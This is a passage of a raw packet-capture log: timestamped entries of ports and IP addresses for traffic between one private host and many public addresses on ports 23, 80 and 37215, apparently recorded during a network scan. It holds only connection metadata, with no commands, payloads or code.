Dec 3, 2024 23:16:42.748089075 CET	40602	23	192.168.2.23	5.144.188.40
Dec 3, 2024 23:16:42.748101950 CET	40596	80	192.168.2.23	69.145.231.168
Dec 3, 2024 23:16:42.748105049 CET	23	40602	120.125.185.189	192.168.2.23
Dec 3, 2024 23:16:42.748111010 CET	40602	23	192.168.2.23	17.51.38.189
Dec 3, 2024 23:16:42.748119116 CET	40602	23	192.168.2.23	146.183.75.91
Dec 3, 2024 23:16:42.748119116 CET	23	40602	25.0.52.100	192.168.2.23
Dec 3, 2024 23:16:42.748137951 CET	80	40596	160.97.11.107	192.168.2.23
Dec 3, 2024 23:16:42.748141050 CET	40602	23	192.168.2.23	120.125.185.189
Dec 3, 2024 23:16:42.748147964 CET	80	40596	45.216.31.214	192.168.2.23
Dec 3, 2024 23:16:42.748157024 CET	80	40596	23.47.195.19	192.168.2.23
Dec 3, 2024 23:16:42.748157024 CET	40602	23	192.168.2.23	25.0.52.100
Dec 3, 2024 23:16:42.748167992 CET	23	40602	145.166.144.38	192.168.2.23
Dec 3, 2024 23:16:42.748176098 CET	40596	80	192.168.2.23	45.216.31.214
Dec 3, 2024 23:16:42.748178005 CET	23	40602	39.87.207.207	192.168.2.23
Dec 3, 2024 23:16:42.748179913 CET	40596	80	192.168.2.23	160.97.11.107
Dec 3, 2024 23:16:42.748183966 CET	40596	80	192.168.2.23	23.47.195.19
Dec 3, 2024 23:16:42.748188019 CET	23	40602	125.19.188.36	192.168.2.23
Dec 3, 2024 23:16:42.748191118 CET	40602	23	192.168.2.23	145.166.144.38
Dec 3, 2024 23:16:42.748198986 CET	23	40602	58.200.232.104	192.168.2.23
Dec 3, 2024 23:16:42.748208046 CET	40602	23	192.168.2.23	39.87.207.207
Dec 3, 2024 23:16:42.748209000 CET	80	40596	77.114.160.46	192.168.2.23
Dec 3, 2024 23:16:42.748219967 CET	23	40602	112.87.113.40	192.168.2.23
Dec 3, 2024 23:16:42.748228073 CET	40602	23	192.168.2.23	58.200.232.104
Dec 3, 2024 23:16:42.748228073 CET	40602	23	192.168.2.23	125.19.188.36
Dec 3, 2024 23:16:42.748230934 CET	80	40596	174.152.152.84	192.168.2.23
Dec 3, 2024 23:16:42.748240948 CET	23	40602	220.84.244.53	192.168.2.23
Dec 3, 2024 23:16:42.748241901 CET	40596	80	192.168.2.23	77.114.160.46
Dec 3, 2024 23:16:42.748250961 CET	23	40602	195.4.122.6	192.168.2.23
Dec 3, 2024 23:16:42.748255968 CET	40596	80	192.168.2.23	174.152.152.84
Dec 3, 2024 23:16:42.748259068 CET	40602	23	192.168.2.23	112.87.113.40
Dec 3, 2024 23:16:42.748260975 CET	23	40602	86.91.201.80	192.168.2.23
Dec 3, 2024 23:16:42.748270988 CET	40602	23	192.168.2.23	220.84.244.53
Dec 3, 2024 23:16:42.748286963 CET	40602	23	192.168.2.23	195.4.122.6
Dec 3, 2024 23:16:42.748289108 CET	40602	23	192.168.2.23	86.91.201.80
Dec 3, 2024 23:16:42.748645067 CET	23	40602	223.194.165.123	192.168.2.23
Dec 3, 2024 23:16:42.748670101 CET	23	40602	186.2.75.244	192.168.2.23
Dec 3, 2024 23:16:42.748681068 CET	80	40596	92.15.235.128	192.168.2.23
Dec 3, 2024 23:16:42.748687029 CET	40602	23	192.168.2.23	223.194.165.123
Dec 3, 2024 23:16:42.748691082 CET	80	40596	167.170.4.3	192.168.2.23
Dec 3, 2024 23:16:42.748713017 CET	40602	23	192.168.2.23	186.2.75.244
Dec 3, 2024 23:16:42.748717070 CET	40596	80	192.168.2.23	92.15.235.128
Dec 3, 2024 23:16:42.748733044 CET	23	40602	142.191.133.255	192.168.2.23
Dec 3, 2024 23:16:42.748744011 CET	23	40602	111.51.93.36	192.168.2.23
Dec 3, 2024 23:16:42.748749971 CET	40596	80	192.168.2.23	167.170.4.3
Dec 3, 2024 23:16:42.748754025 CET	23	40602	118.233.210.150	192.168.2.23
Dec 3, 2024 23:16:42.748764992 CET	80	40596	95.171.148.57	192.168.2.23
Dec 3, 2024 23:16:42.748774052 CET	23	40602	66.21.20.183	192.168.2.23
Dec 3, 2024 23:16:42.748775959 CET	40602	23	192.168.2.23	111.51.93.36
Dec 3, 2024 23:16:42.748783112 CET	40602	23	192.168.2.23	142.191.133.255
Dec 3, 2024 23:16:42.748784065 CET	23	40602	162.90.9.242	192.168.2.23
Dec 3, 2024 23:16:42.748792887 CET	40596	80	192.168.2.23	95.171.148.57
Dec 3, 2024 23:16:42.748795033 CET	40602	23	192.168.2.23	118.233.210.150
Dec 3, 2024 23:16:42.748814106 CET	40602	23	192.168.2.23	162.90.9.242
Dec 3, 2024 23:16:42.748816013 CET	40602	23	192.168.2.23	66.21.20.183
Dec 3, 2024 23:16:42.748861074 CET	80	40596	80.27.157.196	192.168.2.23
Dec 3, 2024 23:16:42.748872042 CET	23	40602	114.113.138.204	192.168.2.23
Dec 3, 2024 23:16:42.748881102 CET	23	40602	157.95.51.18	192.168.2.23
Dec 3, 2024 23:16:42.748892069 CET	23	40602	79.158.76.239	192.168.2.23
Dec 3, 2024 23:16:42.748902082 CET	23	40602	172.200.8.142	192.168.2.23
Dec 3, 2024 23:16:42.748903990 CET	40602	23	192.168.2.23	114.113.138.204
Dec 3, 2024 23:16:42.748912096 CET	40602	23	192.168.2.23	157.95.51.18
Dec 3, 2024 23:16:42.748913050 CET	23	40602	73.194.40.122	192.168.2.23
Dec 3, 2024 23:16:42.748914003 CET	40596	80	192.168.2.23	80.27.157.196
Dec 3, 2024 23:16:42.748929977 CET	23	40602	8.235.175.135	192.168.2.23
Dec 3, 2024 23:16:42.748938084 CET	40602	23	192.168.2.23	79.158.76.239
Dec 3, 2024 23:16:42.748939037 CET	40602	23	192.168.2.23	172.200.8.142
Dec 3, 2024 23:16:42.748940945 CET	80	40596	9.101.83.87	192.168.2.23
Dec 3, 2024 23:16:42.748950958 CET	40602	23	192.168.2.23	73.194.40.122
Dec 3, 2024 23:16:42.748950958 CET	23	40602	63.223.118.92	192.168.2.23
Dec 3, 2024 23:16:42.748963118 CET	80	40596	113.96.71.207	192.168.2.23
Dec 3, 2024 23:16:42.748970032 CET	40596	80	192.168.2.23	9.101.83.87
Dec 3, 2024 23:16:42.748971939 CET	80	40596	42.146.156.49	192.168.2.23
Dec 3, 2024 23:16:42.748980045 CET	40602	23	192.168.2.23	8.235.175.135
Dec 3, 2024 23:16:42.748981953 CET	80	40596	96.237.62.199	192.168.2.23
Dec 3, 2024 23:16:42.748986959 CET	40602	23	192.168.2.23	63.223.118.92
Dec 3, 2024 23:16:42.748989105 CET	40596	80	192.168.2.23	113.96.71.207
Dec 3, 2024 23:16:42.748991966 CET	80	40596	171.35.34.181	192.168.2.23
Dec 3, 2024 23:16:42.749001980 CET	80	40596	194.217.89.195	192.168.2.23
Dec 3, 2024 23:16:42.749011993 CET	23	40602	81.58.215.57	192.168.2.23
Dec 3, 2024 23:16:42.749017954 CET	40596	80	192.168.2.23	96.237.62.199
Dec 3, 2024 23:16:42.749017954 CET	40596	80	192.168.2.23	171.35.34.181
Dec 3, 2024 23:16:42.749020100 CET	40596	80	192.168.2.23	42.146.156.49
Dec 3, 2024 23:16:42.749022007 CET	80	40596	60.12.242.175	192.168.2.23
Dec 3, 2024 23:16:42.749039888 CET	23	40602	193.204.54.24	192.168.2.23
Dec 3, 2024 23:16:42.749043941 CET	40596	80	192.168.2.23	194.217.89.195
Dec 3, 2024 23:16:42.749043941 CET	40602	23	192.168.2.23	81.58.215.57
Dec 3, 2024 23:16:42.749049902 CET	23	40602	202.76.51.207	192.168.2.23
Dec 3, 2024 23:16:42.749056101 CET	40596	80	192.168.2.23	60.12.242.175
Dec 3, 2024 23:16:42.749080896 CET	40602	23	192.168.2.23	193.204.54.24
Dec 3, 2024 23:16:42.749083996 CET	40602	23	192.168.2.23	202.76.51.207
Dec 3, 2024 23:16:42.749510050 CET	23	40602	146.246.133.50	192.168.2.23
Dec 3, 2024 23:16:42.749552965 CET	40602	23	192.168.2.23	146.246.133.50
Dec 3, 2024 23:16:42.749577045 CET	80	40596	154.36.154.96	192.168.2.23
Dec 3, 2024 23:16:42.749598026 CET	80	40596	141.148.27.185	192.168.2.23
Dec 3, 2024 23:16:42.749609947 CET	80	40596	58.170.189.178	192.168.2.23
Dec 3, 2024 23:16:42.749622107 CET	40596	80	192.168.2.23	154.36.154.96
Dec 3, 2024 23:16:42.749629021 CET	23	40602	64.81.27.187	192.168.2.23
Dec 3, 2024 23:16:42.749639988 CET	23	40602	142.26.194.117	192.168.2.23
Dec 3, 2024 23:16:42.749646902 CET	40596	80	192.168.2.23	58.170.189.178
Dec 3, 2024 23:16:42.749648094 CET	40596	80	192.168.2.23	141.148.27.185
Dec 3, 2024 23:16:42.749649048 CET	80	40596	96.110.67.145	192.168.2.23
Dec 3, 2024 23:16:42.749659061 CET	80	40596	61.47.159.38	192.168.2.23
Dec 3, 2024 23:16:42.749665976 CET	40602	23	192.168.2.23	64.81.27.187
Dec 3, 2024 23:16:42.749676943 CET	23	40602	155.240.7.223	192.168.2.23
Dec 3, 2024 23:16:42.749689102 CET	80	40596	105.137.185.215	192.168.2.23
Dec 3, 2024 23:16:42.749700069 CET	40596	80	192.168.2.23	61.47.159.38
Dec 3, 2024 23:16:42.749700069 CET	80	40596	120.152.210.127	192.168.2.23
Dec 3, 2024 23:16:42.749711990 CET	40602	23	192.168.2.23	142.26.194.117
Dec 3, 2024 23:16:42.749711990 CET	40596	80	192.168.2.23	96.110.67.145
Dec 3, 2024 23:16:42.749711990 CET	40602	23	192.168.2.23	155.240.7.223
Dec 3, 2024 23:16:42.749716043 CET	23	40602	159.2.208.55	192.168.2.23
Dec 3, 2024 23:16:42.749711990 CET	40596	80	192.168.2.23	105.137.185.215
Dec 3, 2024 23:16:42.749736071 CET	40596	80	192.168.2.23	120.152.210.127
Dec 3, 2024 23:16:42.749738932 CET	23	40602	196.197.42.117	192.168.2.23
Dec 3, 2024 23:16:42.749749899 CET	23	40602	153.207.90.177	192.168.2.23
Dec 3, 2024 23:16:42.749751091 CET	40602	23	192.168.2.23	159.2.208.55
Dec 3, 2024 23:16:42.749761105 CET	80	40596	109.113.244.12	192.168.2.23
Dec 3, 2024 23:16:42.749778986 CET	23	40602	182.162.189.183	192.168.2.23
Dec 3, 2024 23:16:42.749779940 CET	40602	23	192.168.2.23	196.197.42.117
Dec 3, 2024 23:16:42.749782085 CET	40602	23	192.168.2.23	153.207.90.177
Dec 3, 2024 23:16:42.749789000 CET	80	40596	35.204.75.208	192.168.2.23
Dec 3, 2024 23:16:42.749794006 CET	40596	80	192.168.2.23	109.113.244.12
Dec 3, 2024 23:16:42.749800920 CET	23	40602	108.87.28.232	192.168.2.23
Dec 3, 2024 23:16:42.749818087 CET	40602	23	192.168.2.23	182.162.189.183
Dec 3, 2024 23:16:42.749821901 CET	40596	80	192.168.2.23	35.204.75.208
Dec 3, 2024 23:16:42.749833107 CET	40602	23	192.168.2.23	108.87.28.232
Dec 3, 2024 23:16:42.749979973 CET	23	40602	24.62.6.21	192.168.2.23
Dec 3, 2024 23:16:42.749990940 CET	23	40602	97.171.169.171	192.168.2.23
Dec 3, 2024 23:16:42.750000000 CET	80	40596	128.137.84.103	192.168.2.23
Dec 3, 2024 23:16:42.750010014 CET	23	40602	25.78.29.235	192.168.2.23
Dec 3, 2024 23:16:42.750019073 CET	80	40596	202.233.229.94	192.168.2.23
Dec 3, 2024 23:16:42.750021935 CET	40602	23	192.168.2.23	24.62.6.21
Dec 3, 2024 23:16:42.750022888 CET	40602	23	192.168.2.23	97.171.169.171
Dec 3, 2024 23:16:42.750031948 CET	23	40602	103.41.27.57	192.168.2.23
Dec 3, 2024 23:16:42.750041008 CET	40596	80	192.168.2.23	128.137.84.103
Dec 3, 2024 23:16:42.750041962 CET	23	40602	213.120.174.125	192.168.2.23
Dec 3, 2024 23:16:42.750042915 CET	40602	23	192.168.2.23	25.78.29.235
Dec 3, 2024 23:16:42.750050068 CET	40596	80	192.168.2.23	202.233.229.94
Dec 3, 2024 23:16:42.750053883 CET	23	40602	139.248.67.156	192.168.2.23
Dec 3, 2024 23:16:42.750062943 CET	40602	23	192.168.2.23	103.41.27.57
Dec 3, 2024 23:16:42.750063896 CET	23	40602	187.130.7.240	192.168.2.23
Dec 3, 2024 23:16:42.750076056 CET	80	40596	198.3.18.170	192.168.2.23
Dec 3, 2024 23:16:42.750088930 CET	40602	23	192.168.2.23	139.248.67.156
Dec 3, 2024 23:16:42.750098944 CET	40602	23	192.168.2.23	213.120.174.125
Dec 3, 2024 23:16:42.750098944 CET	40596	80	192.168.2.23	198.3.18.170
Dec 3, 2024 23:16:42.750104904 CET	40602	23	192.168.2.23	187.130.7.240
Dec 3, 2024 23:16:42.750489950 CET	23	40602	149.107.6.203	192.168.2.23
Dec 3, 2024 23:16:42.750500917 CET	80	40596	141.56.177.162	192.168.2.23
Dec 3, 2024 23:16:42.750514030 CET	23	40602	123.167.131.95	192.168.2.23
Dec 3, 2024 23:16:42.750524998 CET	23	40602	209.26.197.58	192.168.2.23
Dec 3, 2024 23:16:42.750533104 CET	40596	80	192.168.2.23	141.56.177.162
Dec 3, 2024 23:16:42.750535965 CET	23	40602	38.231.161.103	192.168.2.23
Dec 3, 2024 23:16:42.750541925 CET	40602	23	192.168.2.23	149.107.6.203
Dec 3, 2024 23:16:42.750547886 CET	23	40602	161.33.129.219	192.168.2.23
Dec 3, 2024 23:16:42.750551939 CET	40602	23	192.168.2.23	209.26.197.58
Dec 3, 2024 23:16:42.750552893 CET	40602	23	192.168.2.23	123.167.131.95
Dec 3, 2024 23:16:42.750557899 CET	80	40596	114.57.3.254	192.168.2.23
Dec 3, 2024 23:16:42.750569105 CET	80	40596	138.92.41.78	192.168.2.23
Dec 3, 2024 23:16:42.750576973 CET	40602	23	192.168.2.23	38.231.161.103
Dec 3, 2024 23:16:42.750577927 CET	23	40602	83.56.110.243	192.168.2.23
Dec 3, 2024 23:16:42.750583887 CET	23	40602	149.233.122.202	192.168.2.23
Dec 3, 2024 23:16:42.750591993 CET	23	40602	65.127.14.237	192.168.2.23
Dec 3, 2024 23:16:42.750597000 CET	40596	80	192.168.2.23	114.57.3.254
Dec 3, 2024 23:16:42.750598907 CET	40602	23	192.168.2.23	161.33.129.219
Dec 3, 2024 23:16:42.750612020 CET	40602	23	192.168.2.23	83.56.110.243
Dec 3, 2024 23:16:42.750612974 CET	40602	23	192.168.2.23	149.233.122.202
Dec 3, 2024 23:16:42.750612974 CET	40596	80	192.168.2.23	138.92.41.78
Dec 3, 2024 23:16:42.750617027 CET	23	40602	101.194.154.32	192.168.2.23
Dec 3, 2024 23:16:42.750619888 CET	40602	23	192.168.2.23	65.127.14.237
Dec 3, 2024 23:16:42.750627995 CET	23	40602	25.13.110.24	192.168.2.23
Dec 3, 2024 23:16:42.750638008 CET	23	40602	170.19.105.210	192.168.2.23
Dec 3, 2024 23:16:42.750648022 CET	23	40602	37.194.114.94	192.168.2.23
Dec 3, 2024 23:16:42.750655890 CET	23	40602	195.85.242.83	192.168.2.23
Dec 3, 2024 23:16:42.750657082 CET	40602	23	192.168.2.23	101.194.154.32
Dec 3, 2024 23:16:42.750658035 CET	40602	23	192.168.2.23	25.13.110.24
Dec 3, 2024 23:16:42.750667095 CET	23	40602	188.187.8.188	192.168.2.23
Dec 3, 2024 23:16:42.750673056 CET	40602	23	192.168.2.23	170.19.105.210
Dec 3, 2024 23:16:42.750674009 CET	40602	23	192.168.2.23	37.194.114.94
Dec 3, 2024 23:16:42.750679016 CET	23	40602	86.87.93.162	192.168.2.23
Dec 3, 2024 23:16:42.750689983 CET	23	40602	146.71.3.31	192.168.2.23
Dec 3, 2024 23:16:42.750699997 CET	23	40602	164.1.10.130	192.168.2.23
Dec 3, 2024 23:16:42.750710011 CET	23	40602	116.208.199.178	192.168.2.23
Dec 3, 2024 23:16:42.750710964 CET	40602	23	192.168.2.23	86.87.93.162
Dec 3, 2024 23:16:42.750720024 CET	23	40602	49.213.165.252	192.168.2.23
Dec 3, 2024 23:16:42.750722885 CET	40602	23	192.168.2.23	195.85.242.83
Dec 3, 2024 23:16:42.750724077 CET	40602	23	192.168.2.23	188.187.8.188
Dec 3, 2024 23:16:42.750725031 CET	40602	23	192.168.2.23	146.71.3.31
Dec 3, 2024 23:16:42.750730991 CET	23	40602	67.202.22.74	192.168.2.23
Dec 3, 2024 23:16:42.750735044 CET	40602	23	192.168.2.23	164.1.10.130
Dec 3, 2024 23:16:42.750741005 CET	40602	23	192.168.2.23	116.208.199.178
Dec 3, 2024 23:16:42.750741959 CET	23	40602	211.161.41.29	192.168.2.23
Dec 3, 2024 23:16:42.750747919 CET	40602	23	192.168.2.23	49.213.165.252
Dec 3, 2024 23:16:42.750751019 CET	23	40602	217.163.195.135	192.168.2.23
Dec 3, 2024 23:16:42.750761032 CET	40602	23	192.168.2.23	67.202.22.74
Dec 3, 2024 23:16:42.750765085 CET	23	40602	220.142.232.22	192.168.2.23
Dec 3, 2024 23:16:42.750776052 CET	23	40602	140.72.198.48	192.168.2.23
Dec 3, 2024 23:16:42.750776052 CET	40602	23	192.168.2.23	211.161.41.29
Dec 3, 2024 23:16:42.750785112 CET	23	40602	38.187.34.19	192.168.2.23
Dec 3, 2024 23:16:42.750793934 CET	40602	23	192.168.2.23	217.163.195.135
Dec 3, 2024 23:16:42.750797033 CET	40602	23	192.168.2.23	220.142.232.22
Dec 3, 2024 23:16:42.750807047 CET	40602	23	192.168.2.23	140.72.198.48
Dec 3, 2024 23:16:42.750807047 CET	40602	23	192.168.2.23	38.187.34.19
Dec 3, 2024 23:16:42.751272917 CET	23	40602	189.173.31.190	192.168.2.23
Dec 3, 2024 23:16:42.751281977 CET	23	40602	139.201.164.96	192.168.2.23
Dec 3, 2024 23:16:42.751291037 CET	23	40602	191.111.220.1	192.168.2.23
Dec 3, 2024 23:16:42.751295090 CET	23	40602	5.51.111.15	192.168.2.23
Dec 3, 2024 23:16:42.751302958 CET	23	40602	133.58.97.237	192.168.2.23
Dec 3, 2024 23:16:42.751317024 CET	23	40602	145.224.169.34	192.168.2.23
Dec 3, 2024 23:16:42.751326084 CET	40602	23	192.168.2.23	139.201.164.96
Dec 3, 2024 23:16:42.751326084 CET	40602	23	192.168.2.23	189.173.31.190
Dec 3, 2024 23:16:42.751327038 CET	23	40602	167.219.68.25	192.168.2.23
Dec 3, 2024 23:16:42.751332998 CET	40602	23	192.168.2.23	191.111.220.1
Dec 3, 2024 23:16:42.751332998 CET	40602	23	192.168.2.23	5.51.111.15
Dec 3, 2024 23:16:42.751337051 CET	23	40602	24.154.224.148	192.168.2.23
Dec 3, 2024 23:16:42.751338005 CET	40602	23	192.168.2.23	133.58.97.237
Dec 3, 2024 23:16:42.751347065 CET	23	40602	98.162.139.172	192.168.2.23
Dec 3, 2024 23:16:42.751355886 CET	23	40602	78.52.150.212	192.168.2.23
Dec 3, 2024 23:16:42.751363993 CET	23	40602	154.163.203.71	192.168.2.23
Dec 3, 2024 23:16:42.751373053 CET	23	40602	64.38.255.46	192.168.2.23
Dec 3, 2024 23:16:42.751379967 CET	23	40602	70.69.160.175	192.168.2.23
Dec 3, 2024 23:16:42.751389980 CET	23	40602	152.167.69.15	192.168.2.23
Dec 3, 2024 23:16:42.751398087 CET	23	40602	207.70.190.236	192.168.2.23
Dec 3, 2024 23:16:42.751399040 CET	40602	23	192.168.2.23	24.154.224.148
Dec 3, 2024 23:16:42.751409054 CET	23	40602	73.29.184.71	192.168.2.23
Dec 3, 2024 23:16:42.751411915 CET	40602	23	192.168.2.23	154.163.203.71
Dec 3, 2024 23:16:42.751415968 CET	40602	23	192.168.2.23	167.219.68.25
Dec 3, 2024 23:16:42.751415968 CET	40602	23	192.168.2.23	64.38.255.46
Dec 3, 2024 23:16:42.751415968 CET	40602	23	192.168.2.23	98.162.139.172
Dec 3, 2024 23:16:42.751418114 CET	23	40602	201.11.203.161	192.168.2.23
Dec 3, 2024 23:16:42.751420021 CET	40602	23	192.168.2.23	152.167.69.15
Dec 3, 2024 23:16:42.751425982 CET	40602	23	192.168.2.23	70.69.160.175
Dec 3, 2024 23:16:42.751431942 CET	23	40602	69.60.255.122	192.168.2.23
Dec 3, 2024 23:16:42.751447916 CET	23	40602	119.82.192.175	192.168.2.23
Dec 3, 2024 23:16:42.751450062 CET	40602	23	192.168.2.23	201.11.203.161
Dec 3, 2024 23:16:42.751451015 CET	40602	23	192.168.2.23	145.224.169.34
Dec 3, 2024 23:16:42.751451015 CET	40602	23	192.168.2.23	78.52.150.212
Dec 3, 2024 23:16:42.751452923 CET	40602	23	192.168.2.23	73.29.184.71
Dec 3, 2024 23:16:42.751456022 CET	23	40602	221.167.154.122	192.168.2.23
Dec 3, 2024 23:16:42.751456022 CET	40602	23	192.168.2.23	207.70.190.236
Dec 3, 2024 23:16:42.751465082 CET	23	40602	53.20.55.62	192.168.2.23
Dec 3, 2024 23:16:42.751471996 CET	40602	23	192.168.2.23	69.60.255.122
Dec 3, 2024 23:16:42.751476049 CET	23	40602	142.193.161.188	192.168.2.23
Dec 3, 2024 23:16:42.751481056 CET	40602	23	192.168.2.23	119.82.192.175
Dec 3, 2024 23:16:42.751486063 CET	23	40602	37.114.184.149	192.168.2.23
Dec 3, 2024 23:16:42.751492023 CET	40602	23	192.168.2.23	53.20.55.62
Dec 3, 2024 23:16:42.751493931 CET	40602	23	192.168.2.23	221.167.154.122
Dec 3, 2024 23:16:42.751494884 CET	23	40602	158.128.64.43	192.168.2.23
Dec 3, 2024 23:16:42.751503944 CET	23	40602	104.96.247.38	192.168.2.23
Dec 3, 2024 23:16:42.751513004 CET	23	40602	173.191.232.2	192.168.2.23
Dec 3, 2024 23:16:42.751513958 CET	40602	23	192.168.2.23	142.193.161.188
Dec 3, 2024 23:16:42.751514912 CET	40602	23	192.168.2.23	37.114.184.149
Dec 3, 2024 23:16:42.751521111 CET	23	40602	196.32.209.175	192.168.2.23
Dec 3, 2024 23:16:42.751523018 CET	40602	23	192.168.2.23	158.128.64.43
Dec 3, 2024 23:16:42.751529932 CET	23	40602	161.21.210.116	192.168.2.23
Dec 3, 2024 23:16:42.751543045 CET	40602	23	192.168.2.23	173.191.232.2
Dec 3, 2024 23:16:42.751586914 CET	40602	23	192.168.2.23	104.96.247.38
Dec 3, 2024 23:16:42.751596928 CET	40602	23	192.168.2.23	196.32.209.175
Dec 3, 2024 23:16:42.751600981 CET	40602	23	192.168.2.23	161.21.210.116
Dec 3, 2024 23:16:42.752106905 CET	23	40602	185.41.144.222	192.168.2.23
Dec 3, 2024 23:16:42.752115965 CET	23	40602	132.84.85.167	192.168.2.23
Dec 3, 2024 23:16:42.752124071 CET	23	40602	141.250.161.87	192.168.2.23
Dec 3, 2024 23:16:42.752132893 CET	23	40602	92.157.224.15	192.168.2.23
Dec 3, 2024 23:16:42.752141953 CET	23	40602	108.10.103.188	192.168.2.23
Dec 3, 2024 23:16:42.752149105 CET	40602	23	192.168.2.23	185.41.144.222
Dec 3, 2024 23:16:42.752149105 CET	40602	23	192.168.2.23	141.250.161.87
Dec 3, 2024 23:16:42.752151012 CET	23	40602	67.30.184.194	192.168.2.23
Dec 3, 2024 23:16:42.752151966 CET	40602	23	192.168.2.23	132.84.85.167
Dec 3, 2024 23:16:42.752151966 CET	40602	23	192.168.2.23	92.157.224.15
Dec 3, 2024 23:16:42.752161026 CET	23	40602	106.196.92.80	192.168.2.23
Dec 3, 2024 23:16:42.752168894 CET	23	40602	94.71.218.241	192.168.2.23
Dec 3, 2024 23:16:42.752177000 CET	23	40602	24.152.190.10	192.168.2.23
Dec 3, 2024 23:16:42.752180099 CET	40602	23	192.168.2.23	108.10.103.188
Dec 3, 2024 23:16:42.752185106 CET	23	40602	219.12.39.11	192.168.2.23
Dec 3, 2024 23:16:42.752192974 CET	23	40602	188.229.37.74	192.168.2.23
Dec 3, 2024 23:16:42.752203941 CET	40602	23	192.168.2.23	106.196.92.80
Dec 3, 2024 23:16:42.752212048 CET	40602	23	192.168.2.23	67.30.184.194
Dec 3, 2024 23:16:42.752213001 CET	40602	23	192.168.2.23	24.152.190.10
Dec 3, 2024 23:16:42.752212048 CET	40602	23	192.168.2.23	94.71.218.241
Dec 3, 2024 23:16:42.752219915 CET	40602	23	192.168.2.23	219.12.39.11
Dec 3, 2024 23:16:42.752234936 CET	40602	23	192.168.2.23	188.229.37.74
Dec 3, 2024 23:16:42.752250910 CET	23	40602	148.47.51.156	192.168.2.23
Dec 3, 2024 23:16:42.752260923 CET	23	40602	135.38.78.26	192.168.2.23
Dec 3, 2024 23:16:42.752268076 CET	23	40602	114.155.30.200	192.168.2.23
Dec 3, 2024 23:16:42.752278090 CET	23	40602	136.17.132.85	192.168.2.23
Dec 3, 2024 23:16:42.752285957 CET	40602	23	192.168.2.23	135.38.78.26
Dec 3, 2024 23:16:42.752286911 CET	23	40602	196.225.55.223	192.168.2.23
Dec 3, 2024 23:16:42.752290010 CET	40602	23	192.168.2.23	148.47.51.156
Dec 3, 2024 23:16:42.752296925 CET	23	40602	102.144.121.178	192.168.2.23
Dec 3, 2024 23:16:42.752300024 CET	40602	23	192.168.2.23	114.155.30.200
Dec 3, 2024 23:16:42.752305984 CET	23	40602	218.37.126.140	192.168.2.23
Dec 3, 2024 23:16:42.752309084 CET	40602	23	192.168.2.23	136.17.132.85
Dec 3, 2024 23:16:42.752314091 CET	40602	23	192.168.2.23	196.225.55.223
Dec 3, 2024 23:16:42.752315044 CET	23	40602	193.90.255.45	192.168.2.23
Dec 3, 2024 23:16:42.752326012 CET	23	40602	36.96.217.13	192.168.2.23
Dec 3, 2024 23:16:42.752335072 CET	40602	23	192.168.2.23	102.144.121.178
Dec 3, 2024 23:16:42.752335072 CET	23	40602	163.219.61.162	192.168.2.23
Dec 3, 2024 23:16:42.752342939 CET	40602	23	192.168.2.23	218.37.126.140
Dec 3, 2024 23:16:42.752345085 CET	23	40602	57.23.170.41	192.168.2.23
Dec 3, 2024 23:16:42.752357960 CET	40602	23	192.168.2.23	36.96.217.13
Dec 3, 2024 23:16:42.752358913 CET	40602	23	192.168.2.23	193.90.255.45
Dec 3, 2024 23:16:42.752362013 CET	40602	23	192.168.2.23	163.219.61.162
Dec 3, 2024 23:16:42.752377033 CET	40602	23	192.168.2.23	57.23.170.41
Dec 3, 2024 23:16:42.752732038 CET	23	40602	87.38.66.33	192.168.2.23
Dec 3, 2024 23:16:42.752741098 CET	23	40602	58.204.161.167	192.168.2.23
Dec 3, 2024 23:16:42.752748966 CET	23	40602	148.26.52.90	192.168.2.23
Dec 3, 2024 23:16:42.752758026 CET	23	40602	20.127.111.33	192.168.2.23
Dec 3, 2024 23:16:42.752765894 CET	23	40602	31.128.8.57	192.168.2.23
Dec 3, 2024 23:16:42.752770901 CET	40602	23	192.168.2.23	87.38.66.33
Dec 3, 2024 23:16:42.752774000 CET	40602	23	192.168.2.23	58.204.161.167
Dec 3, 2024 23:16:42.752774954 CET	23	40602	145.40.146.102	192.168.2.23
Dec 3, 2024 23:16:42.752789021 CET	40602	23	192.168.2.23	148.26.52.90
Dec 3, 2024 23:16:42.752789021 CET	40602	23	192.168.2.23	20.127.111.33
Dec 3, 2024 23:16:42.752796888 CET	40602	23	192.168.2.23	31.128.8.57
Dec 3, 2024 23:16:42.752801895 CET	40602	23	192.168.2.23	145.40.146.102
Dec 3, 2024 23:16:42.752867937 CET	23	40602	23.21.167.37	192.168.2.23
Dec 3, 2024 23:16:42.752902985 CET	40602	23	192.168.2.23	23.21.167.37
Dec 3, 2024 23:16:42.752914906 CET	23	40602	147.229.49.77	192.168.2.23
Dec 3, 2024 23:16:42.752923965 CET	23	40602	146.100.147.177	192.168.2.23
Dec 3, 2024 23:16:42.752933025 CET	23	40602	184.165.38.253	192.168.2.23
Dec 3, 2024 23:16:42.752948046 CET	23	40602	84.170.180.94	192.168.2.23
Dec 3, 2024 23:16:42.752953053 CET	40602	23	192.168.2.23	147.229.49.77
Dec 3, 2024 23:16:42.752958059 CET	40602	23	192.168.2.23	146.100.147.177
Dec 3, 2024 23:16:42.752959013 CET	23	40602	181.155.96.198	192.168.2.23
Dec 3, 2024 23:16:42.752960920 CET	40602	23	192.168.2.23	184.165.38.253
Dec 3, 2024 23:16:42.752976894 CET	23	40602	136.154.92.38	192.168.2.23
Dec 3, 2024 23:16:42.752986908 CET	40602	23	192.168.2.23	84.170.180.94
Dec 3, 2024 23:16:42.752988100 CET	40602	23	192.168.2.23	181.155.96.198
Dec 3, 2024 23:16:42.752999067 CET	37215	40597	197.18.155.116	192.168.2.23
Dec 3, 2024 23:16:42.753012896 CET	40602	23	192.168.2.23	136.154.92.38
Dec 3, 2024 23:16:42.753012896 CET	37215	40597	197.79.128.116	192.168.2.23
Dec 3, 2024 23:16:42.753031015 CET	37215	40597	156.54.232.183	192.168.2.23
Dec 3, 2024 23:16:42.753037930 CET	40597	37215	192.168.2.23	197.18.155.116
Dec 3, 2024 23:16:42.753051996 CET	37215	40597	197.31.107.113	192.168.2.23
Dec 3, 2024 23:16:42.753053904 CET	40597	37215	192.168.2.23	197.79.128.116
Dec 3, 2024 23:16:42.753061056 CET	37215	40597	41.168.11.232	192.168.2.23
Dec 3, 2024 23:16:42.753062963 CET	40597	37215	192.168.2.23	156.54.232.183
Dec 3, 2024 23:16:42.753070116 CET	37215	40597	197.48.127.85	192.168.2.23
Dec 3, 2024 23:16:42.753091097 CET	40597	37215	192.168.2.23	197.31.107.113
Dec 3, 2024 23:16:42.753091097 CET	37215	40597	197.164.123.254	192.168.2.23
Dec 3, 2024 23:16:42.753092051 CET	40597	37215	192.168.2.23	41.168.11.232
